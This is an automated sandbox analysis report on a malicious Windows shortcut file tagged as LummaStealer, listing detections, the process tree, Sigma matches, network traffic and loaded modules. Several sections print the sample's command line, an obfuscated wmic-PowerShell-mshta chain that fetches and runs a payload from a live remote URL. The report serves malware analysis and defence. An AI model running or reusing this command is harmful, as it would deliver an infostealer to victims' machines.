Edit tour

Windows Analysis Report
h0UP1BcPk5.lnk

Overview

General Information

Sample name:	h0UP1BcPk5.lnk renamed because original name is a hash value
Original sample name:	8aac762da1e4edaec3b7c4c891d9224c.lnk
Analysis ID:	1570896
MD5:	8aac762da1e4edaec3b7c4c891d9224c
SHA1:	32599c47d458df430469756ad1773307e3df870a
SHA256:	1e612ff0a9513a7407f349ee34eef01d81224507c6d31544f73cb45c22dcab71
Tags:	lnkLummaStealeruser-abuse_ch
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Contains functionality to create processes via WMI

Creates processes via WMI

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Suspicious Process Created Via Wmic.EXE

Windows shortcut file (LNK) contains suspicious command line arguments

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

WMIC.exe (PID: 5004 cmdline: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch" MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 4768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7152 cmdline: powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 5756 cmdline: "C:\Windows\System32\mshta.exe" https://nins.in/cembra/power/powersearch MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

svchost.exe (PID: 5964 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\mshta.exe" https://nins.in/cembra/power/powersearch, CommandLine: "C:\Windows\System32\mshta.exe" https://nins.in/cembra/power/powersearch, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7152, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\mshta.exe" https://nins.in/cembra/power/powersearch, ProcessId: 5756, ProcessName: mshta.exe

Sigma detected: Suspicious Process Created Via Wmic.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch", CommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch", ProcessId: 5004, ProcessName: WMIC.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch, CommandLine: powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch", ParentImage: C:\Windows\System32\wbem\WMIC.exe, ParentProcessId: 5004, ParentProcessName: WMIC.exe, ProcessCommandLine: powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch, ProcessId: 7152, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5964, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://nins.in/cembra/power/powersearch...	Avira URL Cloud: Label: malware
Source: https://nins.in/cembra/power/powersearch	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\powersearch[1]

ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: h0UP1BcPk5.lnk

ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 89.4% probability

Source: unknown

HTTPS traffic detected: 216.10.240.70:443 -> 192.168.2.5:49704 version: TLS 1.2

Source:	Binary string: sethc.pdbGCTL source: mshta.exe, 00000005.00000002.3260581593.0000028C65BB8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3260581593.0000028C65C5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3260581593.0000028C65C3C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3260719411.0000028C65CDD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3257942443.000002845F11A000.00000004.00000020.00020000.00000000.sdmp, powersearch[1].5.dr
Source:	Binary string: sethc.pdb source: mshta.exe, 00000005.00000002.3260581593.0000028C65BB8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3260581593.0000028C65C5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3260719411.0000028C65CDD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3257942443.000002845F11A000.00000004.00000020.00020000.00000000.sdmp, powersearch[1].5.dr

Source: Joe Sandbox View

ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /cembra/power/powersearch HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: nins.inConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: nins.in

Source: svchost.exe, 00000006.00000002.3259551817.000001AB5B000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.6.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000006.00000003.2101858618.000001AB5AE70000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: mshta.exe, 00000005.00000002.3257942443.000002845F0A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/
Source: mshta.exe, 00000005.00000002.3257942443.000002845F059000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3257942443.000002845F0EA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3260581593.0000028C65C16000.00000004.00000020.00020000.00000000.sdmp, h0UP1BcPk5.lnk	String found in binary or memory: https://nins.in/cembra/power/powersearch
Source: powershell.exe	String found in binary or memory: https://nins.in/cembra/power/powersearch$global:?
Source: mshta.exe, 00000005.00000002.3257942443.000002845F0A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearch%
Source: mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearch...
Source: mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearch...5
Source: mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearch...M
Source: mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearch...U
Source: mshta.exe, 00000005.00000002.3260581593.0000028C65BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearch0;
Source: mshta.exe, 00000005.00000002.3257942443.000002845F030000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.3257942443.000002845F0EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchC:
Source: mshta.exe, 00000005.00000002.3257406405.000000F7AD332000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchG
Source: mshta.exe, 00000005.00000002.3257922633.000002845F020000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchH
Source: mshta.exe, 00000005.00000002.3258533390.0000028C60E10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchHu
Source: mshta.exe, 00000005.00000002.3257942443.000002845F059000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchNK
Source: WMIC.exe, 00000000.00000003.2020914297.000002055E2C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchRelPath=
Source: mshta.exe, 00000005.00000002.3258242166.000002845F1E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchuserLOZOrc0
Source: mshta.exe, 00000005.00000002.3261480510.0000028C66005000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchhttps://nins.in/cembra/power/powersearch
Source: mshta.exe, 00000005.00000002.3257942443.000002845F090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchk
Source: mshta.exe, 00000005.00000002.3259548931.0000028C61BF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchmE
Source: WMIC.exe, 00000000.00000002.2022963351.000002055E3F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchogramFil
Source: mshta.exe, 00000005.00000002.3258533390.0000028C60E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchon
Source: mshta.exe, 00000005.00000002.3257942443.000002845F059000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nins.in/cembra/power/powersearchsRZ
Source: qmgr.db.6.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown

HTTPS traffic detected: 216.10.240.70:443 -> 192.168.2.5:49704 version: TLS 1.2

System Summary

Contains functionality to create processes via WMI

Source: WMIC.exe, 00000000.00000002.2022720506.000002055E280000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: C:\Users\user\Desktop\C:\Windows\System32\Wbem\wmic.exe"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch"C:\Users\user\Desktop\h0UP1BcPk5.lnkWinsta0\Default{

memstr_de2461ae-b

Windows shortcut file (LNK) contains suspicious command line arguments

Source: h0UP1BcPk5.lnk

LNK file: process call create "powershell -w 1 . \W*\S*2\m*ht*e https://nins.in/cembra/power/powersearch"

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6408:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: unknown	Process created: C:\Windows\System32\wbem\WMIC.exe "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W\S2\mhte https://nins.in/cembra/power/powersearch"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 . \W\S2\mhte https://nins.in/cembra/power/powersearch
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://nins.in/cembra/power/powersearch
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://nins.in/cembra/power/powersearch	Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
